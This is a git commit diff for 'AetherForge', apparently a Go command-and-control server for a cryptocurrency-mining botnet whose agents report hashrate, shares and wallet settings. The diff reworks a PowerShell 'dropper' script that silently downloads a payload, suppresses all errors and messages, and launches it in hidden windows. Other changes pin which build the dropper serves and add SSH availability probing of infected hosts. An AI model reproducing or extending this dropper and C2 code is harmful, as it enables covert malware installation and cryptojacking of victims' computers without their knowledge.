feat: Build Manager, Crucible ops deck, branding, and portable Cloudflare tunnel

Add Build Manager with pin-to-dropper, Crucible multi-node terminal with SSH probe/wake, Command Deck chart balance and pretty stats, AetherForge logo and sacred geometry UI, Field Guide refresh, and LAUNCH.bat Cloudflare MSI + token service install flow.
This commit is contained in:
AetherForge
2026-05-30 22:38:48 -07:00
parent e6b8d84edf
commit 9232f4c448
45 changed files with 4222 additions and 406 deletions

View File

@@ -166,49 +166,31 @@ func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
bt := "`"
nl := "\r\n"
script := "# AetherForge agent installer" + nl +
"# Usage: iex (irm '" + base + "/install.ps1')" + nl + nl +
"$ErrorActionPreference = 'Stop'" + nl +
script := "# AetherForge dropper" + nl +
"$ErrorActionPreference = 'SilentlyContinue'" + nl +
"$ProgressPreference = 'SilentlyContinue'" + nl + nl +
"$url = '" + base + "/get?os=windows'" + nl +
"$tmp = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName())" + nl + nl +
"Write-Host '[*] AetherForge -- downloading agent...'" + nl +
"try {" + nl +
" $resp = Invoke-WebRequest -Uri $url -OutFile $tmp -UseBasicParsing -PassThru" + nl +
" if ($resp.StatusCode -ne 200) { throw \"Server returned $($resp.StatusCode)\" }" + nl +
"} catch {" + nl +
" Write-Host '[!] Download failed:' $_.Exception.Message" + nl +
" Write-Host ' Forge an agent first from the dashboard, then retry.'" + nl +
" exit 1" + nl +
"}" + nl + nl +
"$size = (Get-Item $tmp).Length" + nl +
"if ($size -lt 1024) { Write-Host '[!] Download too small -- something went wrong.'; exit 1 }" + nl + nl +
" (New-Object Net.WebClient).DownloadFile($url, $tmp)" + nl +
"} catch { exit 0 }" + nl + nl +
"if (-not (Test-Path $tmp) -or (Get-Item $tmp).Length -lt 1024) { exit 0 }" + nl + nl +
"$bytes = [System.IO.File]::ReadAllBytes($tmp)" + nl +
"$isZip = $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x4B" + nl + nl +
"$isZip = $bytes.Length -gt 1 -and $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x4B" + nl + nl +
"if ($isZip) {" + nl +
" Write-Host '[*] Extracting universal bundle...'" + nl +
" $dir = $tmp + '_bundle'" + nl +
" Add-Type -AssemblyName System.IO.Compression.FileSystem" + nl +
" [System.IO.Compression.ZipFile]::ExtractToDirectory($tmp, $dir)" + nl +
" $bat = $null" + nl +
" foreach ($name in @('Start.bat', 'Deploy.bat')) {" + nl +
" $c = Join-Path $dir $name" + nl +
" if (Test-Path $c) { $bat = $c; break }" + nl +
" }" + nl +
" if ($bat) {" + nl +
" Write-Host '[*] Running bundle launcher...'" + nl +
" Start-Process -FilePath 'cmd.exe' -ArgumentList \"/c " + bt + "\"$bat" + bt + "\"\" -WindowStyle Hidden" + nl +
" Write-Host '[+] Agent deployed from bundle.'" + nl +
" } else {" + nl +
" Write-Host '[!] No launcher found in bundle (Start.bat / Deploy.bat)'; exit 1" + nl +
" if (Test-Path $c) { Start-Process 'cmd.exe' -ArgumentList \"/c " + bt + "\"$c" + bt + "\"\" -WindowStyle Hidden; break }" + nl +
" }" + nl +
"} else {" + nl +
" $exe = $tmp + '.exe'" + nl +
" Move-Item -Path $tmp -Destination $exe -Force" + nl +
" Write-Host '[*] Launching agent...'" + nl +
" Start-Process -FilePath $exe -WindowStyle Hidden" + nl +
" Write-Host '[+] Agent deployed -- it will install itself and connect back to the command deck.'" + nl +
"}" + nl
"}" + nl +
"if ($host.Name -match 'ConsoleHost') { [System.Environment]::Exit(0) }" + nl
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
w.Header().Set("Content-Disposition", `inline; filename="install.ps1"`)

View File

@@ -113,6 +113,37 @@ func (h *Handler) ListBuilds(w http.ResponseWriter, r *http.Request) {
writeJSON(w, builds)
}
// PUT /api/v1/builds/{id}/pin
// Pins the specified build as the active dropper target.
// Send an empty id or DELETE to a fake pin endpoint to unpin all.
func (h *Handler) PinBuild(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
if err := h.db.SetPinnedBuild(id); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, map[string]interface{}{"ok": true, "pinned_id": id})
}
// DELETE /api/v1/builds/pin (unpin all without deleting anything)
func (h *Handler) UnpinAll(w http.ResponseWriter, r *http.Request) {
if err := h.db.SetPinnedBuild(""); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, map[string]interface{}{"ok": true})
}
// DELETE /api/v1/builds/{id}
func (h *Handler) DeleteBuild(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
if err := h.db.DeleteBuild(id); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, map[string]interface{}{"ok": true, "deleted_id": id})
}
func writeJSON(w http.ResponseWriter, v interface{}) {
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(v)

View File

@@ -330,6 +330,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
// Builds
r.Get("/builds", h.ListBuilds)
r.Put("/builds/{id}/pin", h.PinBuild)
r.Delete("/builds/pin", h.UnpinAll)
r.Delete("/builds/{id}", h.DeleteBuild)
r.Get("/builds/{id}/download", builderHandler.DownloadBuild)
r.Get("/builds/{id}/artifact/{name}", builderHandler.DownloadBuildArtifact)
r.Get("/builds/{id}/uninstall", builderHandler.DownloadUninstall)

View File

@@ -519,6 +519,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
CPUUsagePct float64 `json:"cpu_usage_pct"`
MemoryUsagePct float64 `json:"memory_usage_pct"`
UptimeSeconds int `json:"uptime_seconds"`
SSHAvailable *bool `json:"ssh_available,omitempty"`
}
if err := json.Unmarshal(msg.Payload, &stats); err != nil {
continue
@@ -535,20 +536,21 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
h.db.InsertHashrateSample(agentID, stats.Hashrate15m)
h.broadcastDashboard(Message{
Type: "stats_update",
Payload: mustMarshal(map[string]interface{}{
"agent_id": agentID,
"hashrate_15s": stats.Hashrate15s,
"hashrate_1m": stats.Hashrate1m,
"hashrate_15m": stats.Hashrate15m,
"cpu_usage_pct": stats.CPUUsagePct,
"memory_usage_pct": stats.MemoryUsagePct,
"uptime_seconds": stats.UptimeSeconds,
"shares_submitted": stats.SharesSubmitted,
"shares_accepted": stats.SharesAccepted,
}),
})
broadcast := map[string]interface{}{
"agent_id": agentID,
"hashrate_15s": stats.Hashrate15s,
"hashrate_1m": stats.Hashrate1m,
"hashrate_15m": stats.Hashrate15m,
"cpu_usage_pct": stats.CPUUsagePct,
"memory_usage_pct": stats.MemoryUsagePct,
"uptime_seconds": stats.UptimeSeconds,
"shares_submitted": stats.SharesSubmitted,
"shares_accepted": stats.SharesAccepted,
}
if stats.SSHAvailable != nil {
broadcast["ssh_available"] = *stats.SSHAvailable
}
h.broadcastDashboard(Message{Type: "stats_update", Payload: mustMarshal(broadcast)})
case "submit_share":
if agentID == "" {

View File

@@ -115,6 +115,7 @@ func (d *Database) migrate() error {
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN bundle_size INTEGER NOT NULL DEFAULT 0`)
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN file_name TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN download_url TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN pinned INTEGER NOT NULL DEFAULT 0`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN notes TEXT NOT NULL DEFAULT ''`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN tags TEXT NOT NULL DEFAULT '[]'`)
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN platform TEXT NOT NULL DEFAULT ''`)
@@ -251,14 +252,16 @@ func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.Hash
// Build operations
const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, platform, created_at, pool_host, pool_port, pool_tls, pool_pass`
const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, platform, created_at, pool_host, pool_port, pool_tls, pool_pass, pinned`
func scanBuild(row interface {
Scan(...any) error
}) (*models.BuildRecord, error) {
b := &models.BuildRecord{}
var pinnedInt int
err := row.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.BundleSize,
&b.FilePath, &b.FileName, &b.DownloadURL, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass)
&b.FilePath, &b.FileName, &b.DownloadURL, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass, &pinnedInt)
b.Pinned = pinnedInt == 1
return b, err
}
@@ -276,22 +279,47 @@ func (d *Database) GetBuild(id string) (*models.BuildRecord, error) {
return scanBuild(d.QueryRow(`SELECT `+buildSelectCols+` FROM builds WHERE id = ?`, id))
}
// GetLatestBuildForPlatform returns the pinned build for the given platform
// (or any platform when empty), falling back to the most-recently-created build.
func (d *Database) GetLatestBuildForPlatform(platform string) (*models.BuildRecord, error) {
var query string
var args []any
if platform == "" || platform == "any" {
query = `SELECT ` + buildSelectCols + ` FROM builds ORDER BY created_at DESC LIMIT 1`
} else {
query = `SELECT ` + buildSelectCols + ` FROM builds WHERE platform = ? ORDER BY created_at DESC LIMIT 1`
args = []any{platform}
// 1. Pinned build for this platform (exact match)
if platform != "" && platform != "any" {
b, err := scanBuild(d.QueryRow(`SELECT `+buildSelectCols+` FROM builds WHERE pinned = 1 AND platform = ? LIMIT 1`, platform))
if err == nil {
return b, nil
}
}
// 2. Any pinned build (universal or first pinned regardless of platform)
b, err := scanBuild(d.QueryRow(`SELECT ` + buildSelectCols + ` FROM builds WHERE pinned = 1 ORDER BY created_at DESC LIMIT 1`))
if err == nil {
return b, nil
}
// 3. Latest by creation time, filtered by platform when given
if platform == "" || platform == "any" {
b, err = scanBuild(d.QueryRow(`SELECT ` + buildSelectCols + ` FROM builds ORDER BY created_at DESC LIMIT 1`))
} else {
b, err = scanBuild(d.QueryRow(`SELECT `+buildSelectCols+` FROM builds WHERE platform = ? ORDER BY created_at DESC LIMIT 1`, platform))
}
b, err := scanBuild(d.QueryRow(query, args...))
if err != nil {
return nil, err
}
return b, nil
}
// SetPinnedBuild unpins all builds then pins the one with the given id.
// If id is empty, all builds are unpinned.
func (d *Database) SetPinnedBuild(id string) error {
_, err := d.Exec(`UPDATE builds SET pinned = 0`)
if err != nil {
return err
}
if id == "" {
return nil
}
_, err = d.Exec(`UPDATE builds SET pinned = 1 WHERE id = ?`, id)
return err
}
func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) {
rows, err := d.Query(`SELECT `+buildSelectCols+` FROM builds ORDER BY created_at DESC LIMIT ?`, limit)
if err != nil {

View File

@@ -33,6 +33,9 @@ type Agent struct {
OSVersion string `json:"os_version,omitempty"`
Capabilities *AgentCapabilities `json:"capabilities,omitempty"`
// Crucible — SSH status probed by the agent every ~60s
SSHAvailable *bool `json:"ssh_available,omitempty"`
}
// AgentCapabilities reports forge-time features available for remote command.
@@ -87,6 +90,7 @@ type BuildRecord struct {
DownloadURL string `json:"download_url"` // relative URL; client prepends server origin
Platform string `json:"platform"` // "windows", "linux", "darwin", "universal"
CreatedAt time.Time `json:"created_at"`
Pinned bool `json:"pinned"` // true = this build is served by /get and /install.*
// Pool settings
PoolHost string `json:"pool_host"`
PoolPort int `json:"pool_port"`